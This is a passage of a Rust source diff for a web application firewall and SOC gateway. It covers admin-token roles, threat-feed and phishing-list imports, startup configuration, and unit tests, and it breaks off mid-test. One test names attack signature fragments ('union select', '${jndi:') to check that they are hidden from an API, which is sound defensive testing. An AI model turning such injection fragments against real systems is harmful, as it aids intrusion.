+                "ADMIN_TOKENS contains a blank entry; remove repeated, leading, or trailing commas"
+                    .to_string(),
+            );
+        }
+        let mut parts = item.splitn(3, ':').map(str::trim);
+        let token = parts.next().unwrap_or("");
+        if token.is_empty() {
+            return Err(
+                "ADMIN_TOKENS contains a blank token; remove the empty entry or supply a secret"
+                    .to_string(),
+            );
+        }
+        if map.contains_key(token) {
+            return Err(
+                "ADMIN_TOKENS contains a duplicate token; each secret must map to one principal"
+                    .to_string(),
+            );
+        }
+        let actor_raw = parts.next().unwrap_or("");
+        let role_raw = parts.next().unwrap_or("");
+        let actor = if actor_raw.is_empty() {
+            "admin".to_string()
+        } else {
+            actor_raw.to_string()
+        };
+        let can_write = match role_raw.to_ascii_lowercase().as_str() {
+            "" | "admin" | "write" | "writer" | "operator" => true,
+            "readonly" | "read" | "reader" | "ro" => false,
+            other => {
+                return Err(format!(
+                    "ADMIN_TOKENS role {other:?} is not recognised; use admin, write, or readonly"
+                ));
+            }
+        };
+        map.insert(token.to_string(), AdminPrincipal { actor, can_write });
+    }
+    Ok(map)
+}
+
+fn record_successful_audit_log(
+    data: &mut AppData,
+    actor: String,
+    action: &str,
+    resource: &str,
+    resource_id: String,
+) -> AuditLogEntry {
+    record_audit_log(
+        data,
+        NewAuditLogEntry {
+            timestamp_unix: now_unix(),
+            actor,
+            action: action.to_string(),
+            resource: resource.to_string(),
+            resource_id,
+            outcome: "success".to_string(),
+        },
+    )
+}
+
+fn threat_resource_id(indicator: &ThreatIndicator) -> String {
+    format!(
+        "{}:{}:{}",
+        indicator.indicator_type, indicator.value, indicator.source
+    )
+}
+
+fn mark_operator_threat_key(data: &mut AppData, indicator: &ThreatIndicator) {
+    let key = threat_indicator_key(indicator);
+    if !data.operator_threat_keys.contains(&key) {
+        data.operator_threat_keys.push(key);
+    }
+}
+
+async fn apply_threat_feed_import(
+    state: &AppState,
+    actor: String,
+    action: &'static str,
+    feed: ThreatFeedImport,
+) -> Result {
+    let imported_at = now_unix();
+    state
+        .mutate_and_persist(|data| {
+            let operator_owned: HashSet<_> = data.operator_threat_keys.iter().cloned().collect();
+            let threat_keys: Vec<_> = feed.threats.iter().map(threat_indicator_key).collect();
+            let previous_keys: HashSet<_> = replace_threat_feed_ownership(
+                &mut data.threat_feed_ownership,
+                feed.feed_id.clone(),
+                threat_keys,
+            )
+            .into_iter()
+            .collect();
+            if !previous_keys.is_empty() {
+                // A key this feed is dropping might still be owned by another
+                // feed (e.g. two feeds importing the same CVE under a shared
+                // `source`) -- only reap it once no feed's ownership record
+                // claims it any more, so a refresh on one feed can't make a
+                // still-relevant indicator vanish from enforcement. Also keep
+                // indicators an operator independently upserted via /api/threats.
+                let still_owned: HashSet<_> = data
+                    .threat_feed_ownership
+                    .iter()
+                    .filter(|ownership| ownership.feed_id != feed.feed_id)
+                    .flat_map(|ownership| ownership.threat_keys.iter().cloned())
+                    .collect();
+                data.threats.retain(|threat| {
+                    let key = threat_indicator_key(threat);
+                    !previous_keys.contains(&key)
+                        || still_owned.contains(&key)
+                        || operator_owned.contains(&key)
+                });
+            }
+            let mut upserted_threats = 0usize;
+            for threat in feed.threats.iter().cloned() {
+                if operator_owned.contains(&threat_indicator_key(&threat)) {
+                    continue;
+                }
+                upsert_threat(&mut data.threats, threat);
+                upserted_threats += 1;
+            }
+            for entry in feed.dnsbl.iter().cloned() {
+                upsert_dnsbl(&mut data.dnsbl, entry);
+            }
+            upsert_threat_feed(
+                &mut data.threat_feeds,
+                ThreatFeedStatus {
+                    feed_id: feed.feed_id.clone(),
+                    source: feed.source.clone(),
+                    last_updated_unix: imported_at,
+                    threat_count: feed.threats.len(),
+                    dnsbl_count: feed.dnsbl.len(),
+                    ttl_seconds: feed.ttl_seconds,
+                },
+            );
+            let result = ThreatFeedImportResult {
+                feed_id: feed.feed_id.clone(),
+                upserted_threats,
+                upserted_dnsbl: feed.dnsbl.len(),
+                last_updated_unix: imported_at,
+            };
+            record_successful_audit_log(data, actor, action, "threat_feed", result.feed_id.clone());
+            result
+        })
+        .await
+}
+
+async fn fetch_text_feed(state: &AppState, url: &str) -> Result {
+    use futures_util::StreamExt;
+
+    validate_http_url(url, /* allow_non_default_hosts */ true)
+        .map_err(|message| format!("invalid feed URL {url}: {message}"))?;
+    let response = state
+        .feed_http
+        .get(url)
+        .timeout(std::time::Duration::from_secs(
+            PHISHING_DATABASE_FETCH_TIMEOUT_SECS,
+        ))
+        .send()
+        .await
+        .map_err(|error| format!("failed to fetch feed {url}: {error}"))?;
+    let status = response.status();
+    if !status.is_success() {
+        return Err(format!("feed {url} returned HTTP {status}"));
+    }
+    // Fail fast when the server advertises an oversized Content-Length.
+    if let Some(len) = response.content_length()
+        && len as usize > PHISHING_DATABASE_MAX_BODY_BYTES
+    {
+        return Err(format!(
+            "feed {url} body too large: {len} bytes (limit: {PHISHING_DATABASE_MAX_BODY_BYTES})"
+        ));
+    }
+    // Stream chunks so a chunked/malicious body cannot OOM the process before the cap.
+    let mut bytes = Vec::new();
+    let mut stream = response.bytes_stream();
+    while let Some(chunk) = stream.next().await {
+        let chunk =
+            chunk.map_err(|error| format!("failed to read feed body from {url}: {error}"))?;
+        if bytes.len().saturating_add(chunk.len()) > PHISHING_DATABASE_MAX_BODY_BYTES {
+            return Err(format!(
+                "feed {url} body too large: limit {PHISHING_DATABASE_MAX_BODY_BYTES} bytes exceeded while streaming"
+            ));
+        }
+        bytes.extend_from_slice(&chunk);
+    }
+    String::from_utf8(bytes).map_err(|error| format!("feed {url} is not valid UTF-8 text: {error}"))
+}
+
+fn parse_phishing_domains(feed: &str, limit: usize) -> Vec {
+    let mut values = Vec::new();
+    let mut unique = HashSet::new();
+    for line in feed.lines() {
+        let Some(domain) = normalize_phishing_domain(line) else {
+            continue;
+        };
+        if unique.insert(domain.clone()) {
+            values.push(domain);
+            if values.len() >= limit {
+                break;
+            }
+        }
+    }
+    values
+}
+
+fn normalize_phishing_domain(value: &str) -> Option {
+    let trimmed = value.trim();
+    if trimmed.is_empty() || trimmed.starts_with('#') {
+        return None;
+    }
+    let without_scheme = trimmed
+        .strip_prefix("https://")
+        .or_else(|| trimmed.strip_prefix("http://"))
+        .unwrap_or(trimmed);
+    let host_port = without_scheme.split('/').next().unwrap_or("");
+    let host = host_port
+        .split(':')
+        .next()
+        .unwrap_or("")
+        .trim_end_matches('.');
+    if host.is_empty() || !host.contains('.') || host.starts_with('.') || host.contains("..") {
+        return None;
+    }
+    if host.parse::().is_ok() {
+        return None;
+    }
+    if !host
+        .bytes()
+        .all(|byte| byte.is_ascii_alphanumeric() || byte == b'.' || byte == b'-')
+    {
+        return None;
+    }
+    Some(host.to_ascii_lowercase())
+}
+
+fn parse_phishing_ips(feed: &str, limit: usize) -> Vec {
+    let mut values = Vec::new();
+    let mut unique = HashSet::new();
+    for line in feed.lines() {
+        let trimmed = line.trim();
+        if trimmed.is_empty() || trimmed.starts_with('#') {
+            continue;
+        }
+        let Ok(address) = trimmed.parse::() else {
+            continue;
+        };
+        if unique.insert(address) {
+            values.push(address);
+            if values.len() >= limit {
+                break;
+            }
+        }
+    }
+    values
+}
+
+fn error(status: StatusCode, message: impl Into) -> Response {
+    (
+        status,
+        Json(ErrorBody {
+            error: message.into(),
+        }),
+    )
+        .into_response()
+}
+
+fn now_unix() -> u64 {
+    SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap_or_default()
+        .as_secs()
+}
+
+const ADMIN_HTML: &str = r##"
+
+
+
+
+WAF IDS AI SOC — Console
+
+
+
+
+
+

ContextualWisdomLab WAF/IDS/AI SOC Gateway

+
+ + + +
+
+
+
Loading
…
+
+

Routes

Loading…
+
+ Add route +
+ + + + +
+
+
+
+

Threat indicators

Loading…
+
+ Add threat indicator +
+ + + + + +
+
+
+
+

DNSBL entries

Loading…
+
+ Add DNSBL entry +
+ + + + + +
+
+
+
+

Commercial readiness

Loading…
+

License

Loading…
+
+ Update license +
+ + + + + + + + +
+
+
+
+

Threat feeds

Loading…
+

Recent events

Loading…
+

Suricata IDS ingest

+

POST admin-authenticated Suricata EVE JSON/NDJSON alerts to /api/ids/suricata/eve. Alerts become SOC security events (no hand-rolled IDS rules).

+
+

Coraza / OWASP CRS WAF ingest

+

POST admin-authenticated Coraza audit JSON/NDJSON to /api/waf/coraza/audit. CRS rule matches become SOC events and block-grade hits also seed DNSBL/client_ip indicators so the gateway enforces subsequent requests (run Coraza outside; do not invent WAF rules here).

+
+

STIX threat intelligence

+

POST admin-authenticated STIX 2.x indicator or bundle JSON to /api/threat-intel/stix (optional query: feed_id, source, ttl_seconds). Maps ipv4/domain/url patterns into threats/DNSBL for gateway scoring.

+
+

MISP threat intelligence

+

POST admin-authenticated MISP Event/attribute JSON to /api/threat-intel/misp (optional query: feed_id, source, ttl_seconds). Maps IDS-worthy attributes (ip-src/ip-dst, domain, url, composites, hashes) into threats/DNSBL; attributes with to_ids=false are skipped. Live MISP REST pull is a follow-up.

+
+

TAXII 2.1 collection poll

+

POST admin-authenticated JSON to /api/threat-intel/taxii/poll with objects_url (or api_root+collection_id), optional Basic/Bearer credentials, and optional added_after. Fetches TAXII objects, normalizes to STIX, and upserts threats/DNSBL. Credentials are never written to audit logs.

+
+

OpenCTI threat intelligence

+

POST admin-authenticated OpenCTI GraphQL/list export JSON to /api/threat-intel/opencti (optional query: feed_id, source, ttl_seconds). Maps IPv4/IPv6, Domain-Name, Url, file hashes, and STIX indicators into threats/DNSBL. Live OpenCTI GraphQL pull is a follow-up.

+
+

CISA KEV catalog

+

POST admin-authenticated JSON to /api/threat-intel/cisa-kev with optional feed_id, source, and ttl_seconds. Fetches the deployment-configured CISA Known Exploited Vulnerabilities catalog URL (server-side config only, not part of this request) and upserts a cve threat indicator per entry (severity escalated to critical when CISA has tied the CVE to a known ransomware campaign).

+
+ +

Audit log

Loading…
+

Evidence manifest

Loading…
+

SOC event export (ndjson)

Loading…
+ +

DNSBL zone

Loading…
+
+
+
+ + +"##; + +/// Parse the `EVENT_LIMIT` value (already read from the environment as an +/// optional string). Absent falls back to [`AppConfig::DEFAULT_EVENT_LIMIT`]; a +/// non-integer or zero value is a hard configuration error. Kept in the library +/// (rather than the binary) so it is exercised by unit tests. +pub fn parse_event_limit(raw: Option<&str>) -> Result> { + let value = match raw { + Some(raw) => raw.parse::().map_err(|error| { + std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!("EVENT_LIMIT must be a positive integer, got {raw:?}: {error}"), + ) + })?, + None => AppConfig::DEFAULT_EVENT_LIMIT, + }; + if value == 0 { + return Err(std::io::Error::new( + std::io::ErrorKind::InvalidInput, + "EVENT_LIMIT must be greater than 0", + ) + .into()); + } + Ok(value) +} + +/// Parse a `u32` environment value (already read as an optional string), +/// returning `default` when absent and a configuration error when malformed. +pub fn parse_u32_env( + name: &str, + raw: Option<&str>, + default: u32, +) -> Result> { + match raw { + Some(raw) => Ok(raw.parse::().map_err(|error| { + std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!("{name} must be a non-negative integer, got {raw:?}: {error}"), + ) + })?), + None => Ok(default), + } +} + +/// Parse a `u64` environment value (already read as an optional string), +/// returning `default` when absent and a configuration error when malformed. +pub fn parse_u64_env( + name: &str, + raw: Option<&str>, + default: u64, +) -> Result> { + match raw { + Some(raw) => Ok(raw.parse::().map_err(|error| { + std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!("{name} must be a positive integer, got {raw:?}: {error}"), + ) + })?), + None => Ok(default), + } +} + +/// Read gateway configuration from the process environment, bind the listener, +/// and serve until `shutdown` resolves. The binary entrypoint is a thin shim +/// over this function so every branch is reachable from tests (the parse/error +/// paths in-process, the bind/serve path via an ephemeral listener and an +/// immediate shutdown). +pub async fn run_from_env( + shutdown: std::pin::Pin + Send>>, +) -> Result<(), Box> { + let bind_addr = std::env::var("BIND_ADDR").unwrap_or_else(|_| "127.0.0.1:8080".to_string()); + let listen_loopback = listen_is_loopback_only(&bind_addr); + // Secret-bearing values go through the credential registry (env/file are + // bootstrap transports only). Operational config remains env for now. + let credentials_path = std::env::var("WAF_IDS_CREDENTIALS_PATH") + .ok() + .map(PathBuf::from); + let credentials = CredentialRegistry::bootstrap_secrets( + credentials_path.as_deref(), + std::env::var("ADMIN_TOKEN").ok(), + std::env::var("ADMIN_TOKENS").ok(), + )?; + let config = AppConfig { + admin_token: credentials + .get_credential(CRED_ADMIN_TOKEN) + .map(str::to_owned), + state_path: std::env::var("WAF_IDS_STATE_PATH") + .ok() + .filter(|path| !path.trim().is_empty()) + .map(PathBuf::from), + dnsbl_origin: std::env::var("DNSBL_ORIGIN") + .unwrap_or_else(|_| AppConfig::DEFAULT_DNSBL_ORIGIN.to_string()), + event_limit: parse_event_limit(std::env::var("EVENT_LIMIT").ok().as_deref())?, + }; + let rate_limit = parse_u32_env("RATE_LIMIT", std::env::var("RATE_LIMIT").ok().as_deref(), 0)?; + let rate_limit_window = parse_u64_env( + "RATE_LIMIT_WINDOW", + std::env::var("RATE_LIMIT_WINDOW").ok().as_deref(), + 60, + )?; + let admin_tokens = match credentials.get_credential(CRED_ADMIN_TOKENS) { + Some(raw) if !raw.trim().is_empty() => parse_admin_tokens_strict(raw)?, + _ => HashMap::new(), + }; + let has_write_capable_admin = if !admin_tokens.is_empty() { + admin_tokens.iter().any(|(token, principal)| { + principal.can_write && admin_secret_supports_header_auth(token) + }) + } else { + credentials + .get_credential(CRED_ADMIN_TOKEN) + .is_some_and(admin_secret_supports_header_auth) + }; + require_write_auth_for_bind(&bind_addr, has_write_capable_admin)?; + let max_body_bytes = parse_u64_env( + "MAX_BODY_BYTES", + std::env::var("MAX_BODY_BYTES").ok().as_deref(), + 1_048_576, + )? as usize; + let listener = tokio::net::TcpListener::bind(&bind_addr).await?; + let local_addr = listener.local_addr()?; + let auth_mode = if listen_loopback && !has_write_capable_admin { + "development" + } else { + "production" + }; + let state = AppState::load(config) + .await + .map_err(|message| std::io::Error::new(std::io::ErrorKind::InvalidData, message))? + .with_rate_limit(rate_limit, rate_limit_window) + .with_admin_tokens(admin_tokens) + .with_credentials_source(credentials.source()) + .with_listen_loopback(listen_loopback) + .with_max_body_size(max_body_bytes); + println!("waf-ids-ai-soc listening on http://{local_addr} auth_mode={auth_mode}"); + // Flush so a supervising parent process (the e2e test) sees the readiness + // line immediately even though stdout is block-buffered when piped. + std::io::Write::flush(&mut std::io::stdout())?; + let served = axum::serve(listener, build_app(state)) + .with_graceful_shutdown(shutdown) + .await; + served?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request}, + }; + use serde::de::DeserializeOwned; + use std::{ + future::IntoFuture, + io::{Read, Write}, + net::TcpListener as StdTcpListener, + thread, + time::{SystemTime, UNIX_EPOCH}, + }; + use tower::ServiceExt; + + // Serializes the environment-driven `run_from_env` tests, which mutate + // process-global environment variables. + // An async mutex so it can be held across the `run_from_env` await points + // while serializing the tests that mutate process-global environment vars. + static ENV_GUARD: std::sync::LazyLock> = + std::sync::LazyLock::new(|| tokio::sync::Mutex::new(())); + + fn clear_run_env() { + for name in [ + "BIND_ADDR", + "ADMIN_TOKEN", + "ADMIN_TOKENS", + "WAF_IDS_STATE_PATH", + "WAF_IDS_CREDENTIALS_PATH", + "DNSBL_ORIGIN", + "EVENT_LIMIT", + "RATE_LIMIT", + "RATE_LIMIT_WINDOW", + "MAX_BODY_BYTES", + ] { + unsafe { std::env::remove_var(name) }; + } + } + + #[test] + fn parse_event_limit_reads_optional_env() { + assert_eq!( + parse_event_limit(None).unwrap(), + AppConfig::DEFAULT_EVENT_LIMIT + ); + assert_eq!(parse_event_limit(Some("25")).unwrap(), 25); + assert!(parse_event_limit(Some("0")).is_err()); + assert!(parse_event_limit(Some("not-a-number")).is_err()); + } + + #[test] + fn parse_u32_env_reads_optional_env() { + assert_eq!(parse_u32_env("RATE_LIMIT", None, 7).unwrap(), 7); + assert_eq!(parse_u32_env("RATE_LIMIT", Some("120"), 0).unwrap(), 120); + assert!(parse_u32_env("RATE_LIMIT", Some("-1"), 0).is_err()); + } + + #[test] + fn parse_u64_env_reads_optional_env() { + assert_eq!(parse_u64_env("RATE_LIMIT_WINDOW", None, 60).unwrap(), 60); + assert_eq!( + parse_u64_env("RATE_LIMIT_WINDOW", Some("30"), 60).unwrap(), + 30 + ); + assert!(parse_u64_env("RATE_LIMIT_WINDOW", Some("abc"), 60).is_err()); + } + + #[test] + fn parses_and_limits_phishing_database_feeds() { + let domains = parse_phishing_domains( + "https://Phish.EXAMPLE/login\n#comment\n\nbad value\na..b.example\n203.0.113.7\nphish.example\nphish.example\n", + 2, + ); + assert_eq!(domains, vec!["phish.example".to_string()]); + + let ips = parse_phishing_ips("198.51.100.8\n#skip\nbad-ip\n198.51.100.8\n203.0.113.5", 2); + assert_eq!(ips.len(), 2); + assert_eq!(ips[0], "198.51.100.8".parse::().unwrap()); + assert_eq!(ips[1], "203.0.113.5".parse::().unwrap()); + } + + #[tokio::test] + async fn run_from_env_binds_and_serves_until_shutdown() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("RATE_LIMIT", "5"); + std::env::set_var("RATE_LIMIT_WINDOW", "30"); + std::env::set_var("ADMIN_TOKENS", "tok:operator"); + } + // An already-ready shutdown makes the server bind, then return at once. + run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap(); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_fail_closes_non_loopback_without_admin() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "0.0.0.0:0"); + } + let err = run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap_err() + .to_string(); + assert!(err.contains("refusing to bind 0.0.0.0:0"), "{err}"); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_allows_non_loopback_when_admin_token_is_set() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "0.0.0.0:0"); + std::env::set_var("ADMIN_TOKEN", "startup-secret"); + } + run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap(); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_fail_closes_non_loopback_with_unpresentable_admin_token() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "0.0.0.0:0"); + std::env::set_var("ADMIN_TOKEN", "line\nbreak"); + } + let err = run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap_err() + .to_string(); + assert!( + err.contains("admin_token must contain only visible ASCII header characters"), + "{err}" + ); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_defaults_bind_addr_when_unset() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + // With BIND_ADDR unset the default listen address is used (exercising the + // fallback). The result is ignored because the default port may be busy + // in CI; the immediate shutdown keeps any successful bind momentary. + let _ = run_from_env(Box::pin(std::future::ready(()))).await; + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_rejects_malformed_rate_limit_window() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("RATE_LIMIT_WINDOW", "not-a-number"); + } + // A malformed window is a hard configuration error, surfaced before bind. + assert!( + run_from_env(Box::pin(std::future::ready(()))) + .await + .is_err() + ); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_rejects_malformed_max_body_bytes() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("MAX_BODY_BYTES", "not-a-number"); + } + assert!( + run_from_env(Box::pin(std::future::ready(()))) + .await + .is_err() + ); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_surfaces_state_load_failure() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + let path = std::env::temp_dir().join(format!( + "waf_ids_bad_state_{}_{}.json", + std::process::id(), + now_unix() + )); + std::fs::write(&path, b"{ not valid json").unwrap(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("WAF_IDS_STATE_PATH", path.to_str().unwrap()); + } + // Bind succeeds, but loading corrupt persisted state maps to an error. + assert!( + run_from_env(Box::pin(std::future::ready(()))) + .await + .is_err() + ); + clear_run_env(); + std::fs::remove_file(&path).ok(); + } + + #[tokio::test] + async fn run_from_env_fail_closes_when_admin_tokens_are_readonly_only() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "0.0.0.0:0"); + std::env::set_var("ADMIN_TOKENS", "tokR:reader:readonly"); + } + let err = run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap_err() + .to_string(); + assert!(err.contains("refusing to bind 0.0.0.0:0"), "{err}"); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_ignores_kev_catalog_url_env_override() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("ADMIN_TOKENS", "tok:operator"); + std::env::set_var("KEV_CATALOG_URL", "://not-a-valid-url"); + } + // KEV imports now always use the built-in runtime endpoint; an ambient + // KEV_CATALOG_URL must not influence process startup at all. + run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap(); + clear_run_env(); + } + + fn route() -> RouteConfig { + RouteConfig { + id: "api".to_string(), + path_prefix: "/api".to_string(), + upstream: "https://origin.example".to_string(), + mode: EnforcementMode::Block, + enabled: true, + block_threshold: None, + } + } + + fn enterprise_profile() -> CommercialProfile { + CommercialProfile { + tenant_id: "cwlab-enterprise".to_string(), + deployment_id: "prod-seoul-edge".to_string(), + edition: ProductEdition::Enterprise, + license_status: LicenseStatus::Active, + license_id: Some("LIC-2B-KRW-0001".to_string()), + licensee: Some("Contextual Wisdom Enterprise Buyer".to_string()), + licensed_until_unix: Some(1_829_088_000), + licensed_node_count: Some(12), + annual_contract_value_krw: Some(TARGET_SALE_VALUE_KRW), + support_contact: "soc-support@example.com".to_string(), + features: vec![ + "rust-edge-gateway".to_string(), + "tenant-license-readiness".to_string(), + "threat-feed-import".to_string(), + "dnsbl-zone-export".to_string(), + ], + } + } + + fn threat_feed_import() -> ThreatFeedImport { + ThreatFeedImport { + feed_id: "misp-seoul".to_string(), + source: "misp://soc.example".to_string(), + ttl_seconds: 600, + threats: vec![ThreatIndicator { + value: "credential_dump".to_string(), + indicator_type: "malware".to_string(), + severity: Severity::Critical, + source: "misp-seoul".to_string(), + ttl_seconds: 600, + }], + dnsbl: vec![DnsblEntry { + address: "198.51.100.23".parse().unwrap(), + code: "127.0.0.4".to_string(), + reason: "feed scanner".to_string(), + source: "misp-seoul".to_string(), + ttl_seconds: 600, + prefix_len: None, + }], + } + } + + fn phishing_database_import_request(base_url: &str) -> PhishingDatabaseImportRequest { + PhishingDatabaseImportRequest { + feed_id: "phishing-db-seoul".to_string(), + source: "https://github.com/Phishing-Database/Phishing.Database".to_string(), + domain_url: format!("{base_url}/domains"), + ip_url: format!("{base_url}/ips"), + ttl_seconds: 900, + domain_limit: 10, + ip_limit: 10, + severity: Severity::Critical, + import_domains: true, + import_ips: true, + allow_non_default_hosts: true, + } + } + + fn kev_import_request() -> KevImportRequest { + KevImportRequest { + feed_id: "cisa-kev-seoul".to_string(), + source: "feed:cisa-kev".to_string(), + ttl_seconds: 900, + } + } + + async fn app_request(app: &Router, request: Request) -> Response { + app.clone().oneshot(request).await.unwrap() + } + + fn empty_request(method: Method, uri: &str) -> Request { + Request::builder() + .method(method) + .uri(uri) + .body(Body::empty()) + .unwrap() + } + + fn authed_empty_request(method: Method, uri: &str, token: &str) -> Request { + Request::builder() + .method(method) + .uri(uri) + .header("x-admin-token", token) + .body(Body::empty()) + .unwrap() + } + + fn json_request( + method: Method, + uri: &str, + token: Option<&str>, + payload: &T, + ) -> Request { + let mut builder = Request::builder() + .method(method) + .uri(uri) + .header("content-type", "application/json"); + if let Some(token) = token { + builder = builder.header("x-admin-token", token); + } + builder + .body(Body::from(serde_json::to_vec(payload).unwrap())) + .unwrap() + } + + fn gateway_get_from_ip(uri: &str, ip: &str) -> Request { + Request::builder() + .method(Method::GET) + .uri(uri) + .header("x-forwarded-for", ip) + .body(Body::empty()) + .unwrap() + } + + #[test] + fn rate_limit_step_enforces_fixed_window() { + // limit 0 disables limiting entirely. + assert_eq!(rate_limit_step(100, 0, 999, 0, 60), (true, 0, 999)); + // First request in a fresh window is allowed and counted. + assert_eq!(rate_limit_step(100, 100, 0, 2, 60), (true, 100, 1)); + // Second allowed; third (at the limit) rejected without advancing count. + assert_eq!(rate_limit_step(100, 100, 1, 2, 60), (true, 100, 2)); + assert_eq!(rate_limit_step(100, 100, 2, 2, 60), (false, 100, 2)); + // Once the window elapses the counter resets. + assert_eq!(rate_limit_step(160, 100, 2, 2, 60), (true, 160, 1)); + } + + #[tokio::test] + async fn gateway_rate_limits_per_client_ip() { + let app = build_app(AppState::seeded(None).with_rate_limit(2, 60)); + + // Two requests from one IP pass; the third exceeds the budget. + for i in 0..2 { + let resp = app_request(&app, gateway_get_from_ip("/gateway/demo", "203.0.113.9")).await; + assert_eq!(resp.status(), StatusCode::OK, "request {i} should pass"); + } + let blocked = app_request(&app, gateway_get_from_ip("/gateway/demo", "203.0.113.9")).await; + assert_eq!(blocked.status(), StatusCode::TOO_MANY_REQUESTS); + + // A different client IP keeps its own independent budget. + let other = app_request(&app, gateway_get_from_ip("/gateway/demo", "198.51.100.7")).await; + assert_eq!(other.status(), StatusCode::OK); + } + + async fn body_text(response: Response) -> String { + let bytes = to_bytes(response.into_body(), usize::MAX).await.unwrap(); + String::from_utf8(bytes.to_vec()).unwrap() + } + + #[test] + fn prometheus_exposition_emits_typed_gauges() { + let text = prometheus_exposition(&kpi_snapshot_at(&AppData::seeded(), 0)); + // HELP/TYPE metadata plus a value line for a representative metric. + assert!(text.contains("# TYPE waf_ids_routes gauge")); + assert!(text.contains("waf_ids_routes 1")); // seed has one route + assert!(text.contains("waf_ids_dnsbl_entries 1")); // seed has one DNSBL entry + assert!(text.contains("waf_ids_security_events 0")); + assert!(text.contains("waf_ids_security_events_blocked 0")); + } + + #[tokio::test] + async fn metrics_endpoint_serves_prometheus_text() { + let app = build_app(AppState::seeded(None)); + let response = app_request(&app, empty_request(Method::GET, "/metrics")).await; + assert_eq!(response.status(), StatusCode::OK); + let content_type = response + .headers() + .get("content-type") + .and_then(|value| value.to_str().ok()) + .unwrap_or_default() + .to_string(); + assert!( + content_type.starts_with("text/plain"), + "unexpected content-type: {content_type}" + ); + let body = body_text(response).await; + assert!(body.contains("waf_ids_security_events_blocked")); + } + + #[tokio::test] + async fn signatures_endpoint_lists_redacted_catalog() { + let app = build_app(AppState::seeded(None)); + let response = app_request(&app, empty_request(Method::GET, "/api/signatures")).await; + assert_eq!(response.status(), StatusCode::OK); + let body = body_text(response).await; + // Exposes rule id, class, and severity for buyer/operator review. + assert!(body.contains("sqli-union-select")); + assert!(body.contains("\"class\":\"sqli\"")); + assert!(body.contains("\"severity\":\"critical\"")); // the JNDI/Log4Shell rule + // But never the raw match patterns (which would aid evasion). + assert!(!body.contains("union select")); + assert!(!body.contains("${jndi:")); + } + + #[test] + fn parse_admin_tokens_maps_tokens_to_actors() { + let map = parse_admin_tokens( + "tokA:alice, tokB:bob ,tokC, ,:noname, tokD:, tokR:reader:readonly, tokW:writer:write", + ); + assert_eq!(map.get("tokA").map(|p| p.actor.as_str()), Some("alice")); + assert!(map.get("tokA").is_some_and(|p| p.can_write)); + assert_eq!(map.get("tokB").map(|p| p.actor.as_str()), Some("bob")); + // No explicit actor, or an empty actor, is labelled "admin". + assert_eq!(map.get("tokC").map(|p| p.actor.as_str()), Some("admin")); + assert_eq!(map.get("tokD").map(|p| p.actor.as_str()), Some("admin")); + assert_eq!(map.get("tokR").map(|p| p.actor.as_str()), Some("reader")); + assert!(map.get("tokR").is_some_and(|p| !p.can_write)); + assert_eq!(map.get("tokW").map(|p| p.actor.as_str()), Some("writer")); + assert!(map.get("tokW").is_some_and(|p| p.can_write)); + // Blank items and blank tokens (":noname") are ignored. + assert_eq!(map.len(), 6); + } + + #[test] + fn rbac_tokens_authorize_and_name_the_actor() { + let tokens = parse_admin_tokens("tokA:alice,tokR:reader:readonly"); + let state = AppState::seeded(None).with_admin_tokens(tokens); + + let mut valid = HeaderMap::new(); + valid.insert("x-admin-token", "tokA".parse().unwrap()); + assert!(admin_authenticated(&state, &valid)); + assert!(admin_authorized(&state, &valid)); + assert_eq!(audit_actor(&state, &valid), "alice"); + + // Readonly authenticates but cannot write. + let mut readonly = HeaderMap::new(); + readonly.insert("x-admin-token", "tokR".parse().unwrap()); + assert!(admin_authenticated(&state, &readonly)); + assert!(!admin_authorized(&state, &readonly)); + assert_eq!(audit_actor(&state, &readonly), "reader"); + + // A token not in the RBAC set is rejected, and never used as the actor. + let mut wrong = HeaderMap::new(); + wrong.insert("x-admin-token", "nope".parse().unwrap()); + assert!(!admin_authorized(&state, &wrong)); + assert!(!admin_authenticated(&state, &wrong)); + assert_eq!(audit_actor(&state, &wrong), "admin-token"); + + // Missing token header is unauthorized under RBAC. + assert!(!admin_authorized(&state, &HeaderMap::new())); + assert!(!admin_authenticated(&state, &HeaderMap::new())); + + // Without a matching RBAC token, audit_actor honours X-Admin-Actor. + let mut named = HeaderMap::new(); + named.insert("x-admin-actor", "carol".parse().unwrap()); + assert_eq!(audit_actor(&state, &named), "carol"); + } + + #[test] + fn reject_management_write_distinguishes_authentication_from_authorization() { + let state = 